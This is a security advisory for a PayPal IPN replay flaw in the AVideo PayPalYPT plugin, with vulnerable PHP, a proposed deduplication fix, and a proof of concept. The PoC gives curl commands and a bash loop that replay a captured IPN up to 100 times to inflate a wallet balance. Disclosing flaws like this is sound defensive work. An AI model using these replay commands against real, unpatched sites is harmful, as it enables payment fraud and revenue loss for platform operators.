GHSA-mmw7-wq3c-wf9p WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary The PayPal IPN v1 handler at `plugin/PayPalYPT/ipn.php` lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer `ipnV2.php` and `webhook.php` handlers correctly deduplicate via `PayPalYPT_log` entries, but the v1 handler was never updated and remains actively referenced as the `notify_url` for billing plans. Details When a recurring payment IPN arrives at `ipn.php`, the handler: 1. Verifies authenticity via `PayPalYPT::IPNcheck()` (line 16), which sends the POST data to PayPal's `cmd=_notify-validate` endpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returns `VERIFIED` for the same authentic data on every submission. 2. Looks up the subscription from `recurring_payment_id` and directly credits the user's wallet (lines 41-53): ```php // plugin/PayPalYPT/ipn.php lines 41-53 $row = Subscription::getFromAgreement($_POST["recurring_payment_id"]); $users_id = $row['users_id']; $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross']; $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency']; if ($walletObject->currency===$payment_currency) { $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST)); Subscription::renew($users_id, $row['subscriptions_plans_id']); $obj->error = false; } ``` No `txn_id` uniqueness check. No `PayPalYPT_log` entry created. No deduplication of any kind. Compare with the patched handlers: • `ipnV2.php` (line 50): `PayPalYPT::isTokenUsed($_GET['token'])` and (line 93): `PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"])`, with `PayPalYPT_log` entries saved on success. • `webhook.php` (line 30): `PayPalYPT::isTokenUsed($token)` with `PayPalYPT_log` entry saved on success. The v1 `ipn.php` is still actively configured as `notify_url` in `PayPalYPT.php` at lines 85, 193, and 308: ```php $notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php"; ``` PoC ```bash Prerequisites: A registered AVideo account with at least one completed PayPal subscription. Step 1: Complete a legitimate PayPal subscription. This generates an IPN notification to ipn.php containing your recurring_payment_id. Step 2: Capture the IPN POST body. This is available from: • PayPal's IPN History (paypal.com > Settings > IPN History) • Network interception during the initial subscription flow Step 3: Replay the captured IPN to inflate wallet balance. Each replay adds the subscription amount to the attacker's wallet. Single replay: curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]' Bulk replay (100x = 100x the subscription amount added to wallet): for i in $(seq 1 100); do curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]' done Each request passes IPNcheck() (PayPal confirms the data is authentic), then addBalance() credits the wallet and Subscription::renew() extends the subscription. ``` Impact • Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content. • Unlimited subscription renewals: Each replay also calls `Subscription::renew()`, indefinitely extending subscription access from a single payment. • Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments. Recommended Fix Add deduplication to `ipn.php` consistent with the approach already used in `ipnV2.php` and `webhook.php`. Record each processed transaction in `PayPalYPT_log` and check before processing: ```php // plugin/PayPalYPT/ipn.php — replace lines 41-57 with: } else { _error_log("PayPalIPN: recurring_payment_id = {$_POST["recurring_payment_id"]} "); // Deduplication: check if this IPN was already processed $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign']; if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) { _error_log("PayPalIPN: already processed, skipping"); die(json_encode($obj)); } $subscription = AVideoPlugin::loadPluginIfEnabled("Subscription"); if (!empty($subscription)) { $row = Subscription::getFromAgreement($_POST["recurring_payment_id"]); _error_log("PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) "); $users_id = $row['users_id']; $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross']; $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency']; if ($walletObject->currency===$payment_currency) { // Log the transaction for deduplication $pp = new PayPalYPT_log(0); $pp->setUsers_id($users_id); $pp->setRecurring_payment_id($dedup_key); $pp->setValue($payment_amount); $pp->setJson(['post' => $_POST]); if ($pp->save()) { $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST)); Subscription::renew($users_id, $row['subscriptions_plans_id']); $obj->error = false; } } else { _error_log("PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency "); } } } ``` Additionally, consider migrating the `notify_url` references in `PayPalYPT.php` (lines 85, 193, 308) from `ipn.php` to `ipnV2.php` or `webhook.php`, and eventually deprecating the v1 IPN handler entirely.